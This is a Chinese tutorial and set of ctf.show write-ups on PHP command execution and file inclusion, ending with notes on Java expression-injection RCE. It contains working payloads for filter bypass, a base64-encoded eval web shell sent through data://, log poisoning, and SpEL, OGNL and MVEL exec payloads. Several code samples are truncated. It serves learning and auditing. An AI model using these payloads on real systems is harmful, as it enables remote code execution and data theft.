web安全-命令执行漏洞

一.PHP常见的命令执行函数

1.system()函数

system()函数可以用来执行一个外部的应用程序,返回执行的结果的最后一行,且将执行结果回显到标准输出中

函数原型:

system(string $command , int &return_var)
//command参数是要执行的命令,
//return_var用来存放命令执行后的状态码,可不写该参数

2.exec()函数

可以用来执行一个外部的应用程序,返回命令执行结果的最后一行内容,但不输出结果,如果想要获取命令输出内容,可以使用output参数或者反弹shell

函数原型: 

string exec(string command,array $output,int &return_var)
//command参数是要执行的命令
//output是获取执行命令输出的每一行字符串(output实际上就是一个数组,会用命令执行的输出来填充此数组)
//return_var整形用来保存命令执行后的状态码,0代表执行成功,1代表执行失败

3.passthru()函数

同 exec() 函数类似,passthru()函数可以用来执行一个UNIX系统命令并显示原始输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回给浏览器时,需要使用passthru来exec() 或 system() 函数

函数原型: 

void passthru (string $command , int &$return_var=? )
// command 为执行的命令
// &return_var可选,用来存放命令执行后的状态码 

4.shell_exec()函数

shell_exec可以字符串的形式,返回所有结果,使用方便,较为常见。shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面

函数原型:

string shell_exec( string &command)
// cmd 要执行的命令
// 返回结果string

5.反引号``

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。

6.popen()函数

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有rw代表读和写。函数不会直接返回执行结果,而是返回一个文件指针。

函数原型:

popen ( string command, string mode )
//打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

代码实例:

popen的利用代码:
";
		//将命令写入到文本
		$cmd = $_GET["cmd"].">> 1.txt";
		//执行系统命令
		popen($cmd , "r");
		echo "
";
	//打开并读写文本文件
	$fp = fopen("1.txt" , "r");
	if($fp){
		while(!feof($fp)){
			$content = fgets($fp);
			echo $content;
		}
	}
	fclose($fp);
	}
?>

7.proc_open()函数

proc_open 执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。proc_open 用法稍显复杂,通常其他函数被过滤时,可以考虑使用此函数

函数原型:

proc_open(
    mixed $cmd,
    array $descriptorspec,
    array &$pipes,
    string $cwd = null,
    array $env = null,
    array $other_options = null
): resource

代码示例:

array('pipe','r'), 
        1=>array('pipe','w'),
        2=>array('pipe','w') 
    );
    $handle=proc_open($command,$descriptorspec,$pipes,NULL);
    if(!is_resource($handle)){
      die('proc_open failed');
    }
    while($s=fgets($pipes[1])){
      print_r($s);
    }
    while($s=fgets($pipes[2])){
      print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
?>

二.PHP命令执行的常用姿势

绕过技巧

1.常见管道符

|          将前边的命令的执行结果传递到后边的命令,前面必须执行正确,否则不再向后执行
||         如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&       
不执行错误检查和运行所有命令,前面和后面命令都要执行,无论前面真假
&&     
执行错误检查命令,如果前面为假,后面命令不执行,如果前面为真,执行两条命令

;       如果每个命令都被一个分号(;)所分隔,那么命令会连续地执行下去

2. 空格过滤

<        如cat       如cat<>flag.php
%09      需要php环境,如cat%09flag.php
${IFS}   单纯cat$IFS,IFS被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS}flag.php
$IFS$9   后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS$9flag.php
{cat,flag.php} 逗号实现空格功能,需要{}括起来

3. 黑名单绕过

比如:过滤了cat或者flag

字符串拼接

a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=fl;d=ag;$a$b $c$d

base64编码

echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

单引号和双引号绕过

ca''t flag 或
c""at fl''ag

反斜杠绕过(转义符后面不是特定功能字符时,结果是字符本身)

ca\t fl\ag
cat te\st.php

$1、2 等 和 2等和2等和@

c$1at fl$@ag

读文件绕过(当cat被过滤)

1 more:一页一页的显示档案内容
2 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3 head:查看头几行
4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5 tail:查看尾几行
6 nl:显示的时候,顺便输出行号
7 od:以二进制的方式读取档案内容
8 vi:一种编辑器,这个也可以查看
9 vim:一种编辑器,这个也可以查看
10 sort:可以查看
11 uniq:可以查看
12 file -f:报错出具体内容
13 grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

通配符绕过

?代表一个字符 *代表任意长度的字符

1 /???/?[a][t] ?''?''?''?''
2 /???/?at flag
3 /???/?at ????
...

或者

cat fla[f-h]
cat fla{f..h}
两者区别:{}是把f,g,h的每条命令都执行且输出每次的结果,[]只输出执行成功的一次结果

内敛执行绕过

`命令`和$(命令)都是执行命令的方式
例:(ls | grep fla 结果:flag.php) #grep命令可以指定文件中搜索特定的内容,并将含有这些内容的行标准输出。
cat 'ls | grep fla'
cat $(ls | grep fla)

换行执行命令 

$ ca\
> t\
>  fl\
> ag

ctf.show例题 wp

1. web31

源代码

过滤了flag,php,可以使用通配符和引号来绕过
过滤了system,可以使用其他执行函数
过滤了cat,sort可以用其他的查看文件内容的命令

payload:

c=echo(`nl%09f*`);
c=echo(`strings%09f*`);
c=echo(`tac%09fl*`);
c=echo(`strings\$IFS\$9f*`);其中必须加转义字符
c=echo(`nl%09fl[abc]*`);利用了两种通配符
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
\x表示16进制编码,\u表示unicode编码

回显flag

web安全-命令执行漏洞_第1张图片

2. web40

源代码

|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

回到eval语句执行命令,但过滤了许多东西,没有过滤掉英文的(),使用无参数的rce进行构造读取文件,补充:

print_r(scandir(‘.’)); 查看当前目录下的所有文件名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

先打印出当前目录下的文件

?c=print_r(scandir(current(localeconv())));

web安全-命令执行漏洞_第2张图片

读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

观察flag.php在倒数第二位,我们开始构造playload:

?c=show_source(next(array_reverse(scandir(getcwd()))));

web安全-命令执行漏洞_第3张图片

3. web52

源代码

|\/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

 补充:

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

这次system()函数后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显,需用;号或者||等等一些命令分隔符进行命令分隔。

考虑到过滤的字符,构造playload:

?c=ta\c${IFS}fla\g.php||

web安全-命令执行漏洞_第4张图片

用ls找一下flag文件,发现在根目录web安全-命令执行漏洞_第5张图片

 所以真正payload如下

?c=ta\c${IFS}../../../fla?||

web安全-命令执行漏洞_第6张图片

4. web66

源代码

使用读取文件函数进行读取flag,show_source()被禁止,highlight_file()可以进行使用,payload如下

c=highlight_file("flag.php");

web安全-命令执行漏洞_第7张图片

说flag不在flag.php里,我们使用?c=print_r(scandir("/"));打印一下根目录 

web安全-命令执行漏洞_第8张图片

发现有flag.txt,直接读取 :

c=highlight_file("/flag.txt");

web安全-命令执行漏洞_第9张图片

补充一些读取文件函数的用法:

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

5. web69

这次是把highlight_file()给禁用了,所以页面连代码都没有,直接报错。查看目录时发现var_dump被禁用,补充几种读取目录的方式:

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

前面4个print_r也都被禁用了,使用后面四个任意一个都可以,原理是通过遍历数组的形式进行读取

c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}

web安全-命令执行漏洞_第10张图片

得到根目录下还是flag.txt,highlight_file()被禁用,使用include()函数,payload如下

c=include("/flag.txt");

web安全-命令执行漏洞_第11张图片

文件包含

PHP为例,常用的文件包含函数有以下四种:

include(),require(),include_once(),require_once()

区别如下:

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。

两者区别:1.incluce 在读取到这条函数时加载,循环执行的话会多次加载;require则在预处理阶段加载,循环执行,也只需要在最开始加载一次。(include自己可以套娃),防止多次加载,可以在两函数后面加_once 后缀表示已加载的不加载。2.include 引入文件的时候,如果碰到错误,会给出提示,并继续运行下边的代码;require 会停止。

require("file.php");	// 将file.php的文本替换在此处

利用方法

  • 直接的路径包含

  • 利用伪协议的包含

  • 日志包含

  • SESSION包含

常用伪协议

1. file:// 

访问本地文件系统,最基础的文件协议。

2.http://

3.php://filter

用途

它是一种元封装器,filter翻译过来就是过滤器,使用其筛选管道可以读取源文件。

读取文件并进行显示或写入,如果已经将木马传上,可以以此包含。

特点

可读,可写,文件名明文

形式

?file=php://filter/read=convert.base64-encode/resource=admin.php
// 关于resource,起手可猜解常见的login,admin,index,upload

参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

4.php://input

用途

可以访问请求提交的原始数据的只读流,文件包含函数会将其POST请求的请求体包含。包含木马

5.data://

用途

数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入。包含木马

形式

?file=data://text/plain,
?file=data://text/plain,
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk/Pg==
?file=data://text/plain;base64,PD9waHAgQHN5c3RlbSgnbHMnKTs/Pg==

ctf.show wp

1. web78

源码


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

文件包含的题型,这里使用php伪协议php://filter来构造payload

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

payload如下:

?file=php://filter/convert.base64-encode/resource=flag.php

web安全-命令执行漏洞_第12张图片

读取出来是base64,再拿去进行base64解码即可得到flag,解密后:

web安全-命令执行漏洞_第13张图片

2. web79 

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}

代码中把php替换成了???,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,payload如下(注意是大写的PHP)

?file=Php://input

post:

或者使用data://,使用方法如下:

data://text/plain;base64,XXXXXX(base64编码后的数据)

本题目中要用data://伪协议传送

他的base64编码为:

PD9waHAgc3 IzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

所以playload为:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

 然后查看源代码就可以发现flag

web安全-命令执行漏洞_第14张图片

3. web81(日志包含)

源码


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

nginx日志的默认路径为/var/log/nginx

ssh日志的默认路径为/var/log/auth.log

SSH服务如果开启了日志记录功能,会将SSH的连接日志记录到SSH日志文件中(题目是nginx日志)日志文件包含的漏洞的利用条件是:日志路径已知,并且有可读权限。

现在要将恶意代码写入日志文件

GET
?file=/var/log/nginx/access.log
 
User-Agent
第一步

web安全-命令执行漏洞_第15张图片

找到flag文件,直接 cat fl0g.php

User-Agent
第二步

三.Java代码审计-RCE

这部分还没理解

一、概述

任意代码执行(Remote Code Execution)是危害最为严重的漏洞之一,挖掘难度也是相对高的,除了常见的文件上传漏洞,还有OS命令注入、表达式注入、模板注入、代码注入和第三方组件漏洞,下面依次讲解审计方法和技巧。

二、分类挖掘技巧

表达式注入

主流的Java表达式主要有OGNL、SpEL、MVEL、EL、Fel、jstl_el等。

1. SpEL

Spring 表达式语言(简称SpEL):是一个支持运行时查询和操作对象图的强大的表达式语言。在spring中使用parseExpression()方法解析SPEL表达式,使用expression.getValue()方法执行SPEL表达式。

常见的payload是

org.springframework.expression.Expressionexp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");

因此审计SPEL表达式注入需要搜索的关键字有:

org.springframework.expression|parseExpression|getValue|getValueType|value="#{*}

然后逐层跟踪调用关系链,如果parseExpression、getValue、getValueType传入的参数外部可控,就存在spel注入的安全风险,对应的防御办法也是通过白名单限制入参。

2.  OGNL

OGNL是最常见的表达式之一,Struts2也是因为OGNL表达式而“臭名昭著”。它是Object-Graph Navigation Language的缩写,主要的功能是对对象进行处理,包括存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等。

漏洞产生的原因多为代码调用OGNL的getValue方法并解析执行:

bf50b7d55438b528ebaf54c286a6ba02.png

常用的payload为:

%{@java.lang.Runtime@getRuntime().exec('calc')}

因此审计OGNL表达式注入需检索importognl.*,检查产品是否引用ognl相关类,检查使用了ognl相关代码类的getValue方法和setValue方法是否存在外部参数可控。

3. Fel

Fel(Fast Expression Language),是一种开源表达式引擎,支持解释执行和编译执行,支持直接调用任何第三方类中的方法,这种功能使得fast-el表达式可以具有java代码一样的能力,虽然本身对一些危险函数进行了黑名单校验,但因存在遗漏从而造成任意代码执行。

Fel的RCE主要通过其支持的 $ 和 . 运算触发,即通过“$(‘class’).method”形式的语法,调用类和方法,如项目调用了上面的OGNL,则可以对其调用:

$(ognl.Ognl).getvalue(\” @java.lang.Runtime@getRuntime().exec('calc.exe')\”,null)

审计中可搜索importcom.greenpineyu.fel检查是否使用Fel表达式,而后搜索eval/compile函数入参是否外部可控。

防范办法可采用黑名单,禁用$ 和  . 操作符或白名单方法控制表达式中可以的类,修改FelBuilder类中的newSecurityMgr函数,改成默认使用白名单的方式(return new RegexSecurityMgr(enables, null);),并根据实际情况配置允许调用的java类。

4. MVEL

MVEL表达式旨在成为更有效的表达式语言,比如直接支持集合、数组和字符串匹配,正则表达式的运算操作等,一般通过MVEL.eval(expression,paramMap)或execute执行,使用的payload一般为:

new java.lang.ProcessBilder(“calc”).start();

你可能感兴趣的:(web安全)